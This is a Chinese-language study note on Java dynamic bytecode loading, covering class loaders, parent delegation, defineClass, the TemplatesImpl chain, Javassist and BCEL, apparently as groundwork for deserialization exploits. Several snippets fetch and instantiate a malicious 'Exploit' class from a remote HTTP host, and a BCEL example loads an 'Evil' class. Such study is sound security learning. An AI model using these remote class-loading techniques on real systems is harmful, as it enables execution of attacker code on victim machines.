Java动态加载字节码

Java中动态加载字节码的方法

1、利用 URLClassLoader 加载远程class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) {
try {
//使用file协议在本地寻找指定.class文件
//URL[] urls = new URL[]{new URL("file:///Users/fa1c0n/codeprojects/IdeaProjects/misc-classes/src/main/java/")};
//使用http协议到远程地址寻找指定.class文件
URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class clazz = urlClassLoader.loadClass("Exploit");
clazz.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
}

2、利用 ClassLoader#defineClass 直接加载字节码

2.1 双亲委派模型

BootstrapClassLoader:启动类加载器/根加载器,负责加载 JVM 运行时核心类,这些类位于 JAVA_HOME/lib/rt.jar 文件中,我们常用内置库 java.*.*都在里面。这个 ClassLoader 比较特殊,它其实不是一个ClassLoader实例对象,而是由C代码实现。用户在实现自定义类加载器时,如果需要把加载请求委派给启动类加载器,那可以直接传入null作为 BootstrapClassLoader。

ExtClassLoader:扩展类加载器,负责加载 JVM 扩展类,扩展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,库名通常以 javax 开头。

AppClassLoader,应用类加载器/系统类加载器,直接提供给用户使用的ClassLoader,它会加载 ClASSPATH 环境变量或者 java.class.path 属性里定义的路径中的 jar 包和目录,负责加载包括开发者代码中、第三方库中的类。AppClassLoader 可以由 ClassLoader 类提供的静态方法 getSystemClassLoader() 得到。

ClassLoader.getParent() 可以获取用于委派的父级class loader,通常会返回null来表示bootstrap class loader。

2.2 双亲委派模型的代码实现

如上图,实现双亲委派的代码都集中在 java.lang.ClassLoader#loadClass()方法中,其逻辑如下:

先检查是否已被加载过;

若没有加载过则调用父加载器的loadClass()方法;

若父加载器为null则默认使用启动类加载器(Bootstrap ClassLoader)作为父加载器;

如果父加载器加载类失败,抛出ClassNotFoundException异常后,再调用自己的findClass()方法进行加载。(findClass()最终会调用defineClass()加载字节码)

:::tips
注意:

这里的“双亲”,指的并不是有两个父加载器,可能仅仅是英文“parent”的翻译。每个ClassLoader最多有一个父加载器,也就是parent变量。“双亲委派机制”指的就是优先让父加载器去加载类,如果父加载器没有成功加载到类,才由本ClassLoader加载。

这样可以保证安全性,防止系统类被伪造(比如自定义java.lang.Object类,肯定是无法运行的)。

对于Java程序来讲,一般的类是由AppClassLoader来加载的,而系统类则是由BootStrapClassLoader加载的。由于BootStrapClassLoader是在native层实现的,所以调用系统类的getClassLoader()方法会返回null。

:::

2.3 自定义ClassLoader

java.lang.ClassLoader是一个抽象类。创建一个继承自ClassLoader的类,并重写findClass()方法实现类的加载,即可完成自定义ClassLoader。示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class MyClassLoader extends ClassLoader {
private String dirPath;

@Override
public String getName() {
return "MyClassLoader";
}

public MyClassLoader(String dirPath) {
if (!dirPath.endsWith("/") && !dirPath.endsWith("\\")) {
dirPath += "/";
}
this.dirPath = dirPath;
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
String filePath = dirPath + name.replace('.', '/') + ".class";
byte[] b;
Path path;
try {
path = Paths.get(new URI(filePath));
b = Files.readAllBytes(path);
// defineClass将字节数组转换成Class对象
return defineClass(name, b, 0, b.length);
} catch (IOException | URISyntaxException e) {
e.printStackTrace();
return null;
}
}
}

3、URLClassLoader (远程加载 Class 文件)

这个加载方式最大的特点就是可以远程进行加载,我们在 VPS 上启一个 http 服务,把恶意类放在 http 服务下,可以实现远程加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.net.URL;
import java.net.URLClassLoader;

public class test04 {
public static void main(String[] args) throws Exception {
// 一个 URL 地址, 这里是一个数组类型
URL[] urls = {new URL("http://192.168.1.5:80/")};

// 使用 URLClassLoader 加载远程 class 文件
Class clazz = new URLClassLoader(urls).loadClass("Exp");

// 初始化我们的恶意类
clazz.newInstance();
}
}

4、defineClass() 加载字节码

不管是加载远程class文件,还是本地class文件,Java都经历了下面三个方法的调用:

:::tips
其中:

loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass

findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass

defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java 默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。

:::

使用ClassLoader#defineClass()直接加载类字节码的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.govuln;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code =
Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA
Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs
bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh
L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry
ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n
OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA
AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello =
(Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,
0, code.length);
hello.newInstance();
}
}

ClassLoader#defineClass()被调用时,Class对象并不会被初始化,只有显示调用其构造方法,初始化代码才能被执行。即使将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。因此,如果要使用defineClass()在目标机器上执行任意代码,需要想办法调用构造方法。

5、利用 TemplatesImpl 加载字节码

这里还是记录下主要是从下面这两篇文章抄的

这个漏洞的触发点在 TemplatesImpl.newTransformer() 方法中,我们来看具体的代码。

跟到getTransletInstance里去看看

这里要求_name不能为null否则就直接返回null了_class必须为null否则进不去defineTransletClasses方法里

这里主要在这个for循环里有defineClass方法里跟进去看看

继续跟进去

最终还是调用java原生的defineclass加载类,记录下调用链

1
2
3
4
5
TemplatesImpl.newTransformer()
getTransletInstance()
defineTransletClasses()
defineClass()
ClassLoader.defineClass()

参考:Java安全漫谈 - 13.Java中动态加载字节码的那些方法.pdf

https://www.lianqing.xyz/?p=561

6、Javassit库:

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

向Maven的Pom.xml文件中,添加以下字段,以导入依赖:

1
2
3
4
5
6
7
8
<!-- https://mvnrepository.com/artifact/javassist/javassist -->
<dependencies>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
</dependencies>

在这个包中,主要调用到的方法是:

ClassPool:

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

CtClass:

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);

示例:

获取字节码:

1
2
3
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.classloader.TemplatesImplEvil.class.getName());
byte[] code = clazz.toBytecode();

7、BCEL加载字节码

这里因为学习fastjson要用到bcel字节码所以这里学习下如何利用bcel加载字节码

这里我们先准备一个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.ocean;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class BcelLoad {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
}
}

来跟一下调用流程

跟到loadclass里会调用这个creatClass方法跟进去

createClass()中,通过subString()截取$$BCEL$$后的字符串,并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组(decode方法参数uncompress用来标识是否为zip流,当为true时走zip流解码)。之后生成Parser解析器并调用parse()方法进行解析,并生成JavaClass对象。

之后在调用defineclass方法进行加载,后面就是调用newinstance进行初始化加载静态代码块了

参考:https://www.lianqing.xyz/?p=561